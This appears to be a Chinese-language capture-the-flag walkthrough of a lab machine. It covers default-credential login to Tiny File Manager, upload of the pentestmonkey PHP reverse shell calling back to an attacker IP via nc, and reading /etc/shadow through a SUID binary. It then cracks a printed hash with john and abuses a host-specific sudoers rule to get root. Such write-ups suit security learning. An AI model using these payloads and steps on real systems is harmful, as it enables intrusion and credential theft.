target:192.168.43.20
外部打點 (文件上傳)
nmap掃一下,80,22 開放
掃目錄,發現 README.md
[17:04:30] 200 - 664B - /Dockerfile
[17:04:38] 200 - 34KB - /LICENSE
[17:04:48] 200 - 5KB - /README.md
[17:04:50] 403 - 278B - /server-status/
[17:04:50] 403 - 278B - /server-status
[17:04:55] 200 - 4KB - /tinyfilemanager.php
Default username/password: **admin/admin@123** and **user/12345**.
得到賬號密碼 ==> admin:admin@123
進入 web 界面,成功登錄
登錄后進入文件上傳功能,上傳 php-reverse-shell.php,攻擊機開監聽 nc -lvnp 8999
瀏覽器訪問 http://192.168.43.20/php-reverse-shell.php
成功反彈shell
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.43.57'; // CHANGE THIS
$port = 8999; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
...
...
權限提升 (文件讀取和sudo配置)
得到 www-data 用戶
進入/home/eecho,得到 user.txt,即 flag1
上傳 linpeas ,全局掃描可疑點
也可以 find / -perm -4000 2>/dev/null
查找具有 suid 位的文件
找到 /usr/bin/read_file 這個特殊的可執行文件
-rwsr-sr-x 1 root root 17528 Jul 9 05:01 /usr/bin/read_file
查看幫助
Usage: read_file -f <filepath>
Options:-h Show this help message-f <file> Specify the file to view (must be under /etc)Security restrictions:- File path must start with /etc/- Symbolic links and path traversal are blocked- Only regular files can be read
也就是可以讀取 /etc 下的文件
直接讀取 /etc/shadow 和 /etc/soduers
拿到加密后的 root 和 eecho 的密碼,以及 soduers 配置
eecho:$6$mL.9/fVsBqItNR..$GyJfKOjLcovjApxygZ79CjKcqJmJ37jC8y9KeLq81fLAnNCYVP1Nw9d8Dp9pZi/l3CWJ3PHL1l/Hld3sFmZoQ.:20278:0:99999:7:::
爆破 eecho 密碼
john $6$mL.9/fVsBqItNR..$GyJfKOjLcovjApxygZ79CjKcqJmJ37jC8y9KeLq81fLAnNCYVP1Nw9d8Dp9pZi/l3CWJ3PHL1l/Hld3sFmZoQ.
得到 eecho:alexis15
ssh 連接成功
剛才 sudoers 文件內容如下
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"# Host alias specification# User alias specification# Cmnd alias specification# User privilege specification
root ALL=(ALL:ALL) ALL# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
eecho Dashazi = NOPASSWD:ALL
# See sudoers(5) for more information on "@include" directives:
即 eecho 可以在主機 Dasahzi 上執行任意命令
eecho@Sudo:~$ sudo -i -h Dashazi
sudo: unable to resolve host Dashazi: Name or service not known
root@Sudo:~# id
uid=0(root) gid=0(root) groups=0(root)
root@Sudo:~# ls
root.txt
root@Sudo:~# cat root.txt
flag{root}
root@Sudo:~#
sudo -h 指定主機,直接切換為 root
結束
總結
首先目錄爆破翻配置文件找到默認用戶名密碼,登錄
然后在文件上傳點上反彈shell馬
進到 home 查看用戶
查找到 SUID 位文件 read_file,讀取敏感文件 /etc/shadow,/etc/sudoers
爆破加密的密碼
成功切換eecho用戶后,指定主機名 sudo -i 切換為 root
sudo -i -h Dashazi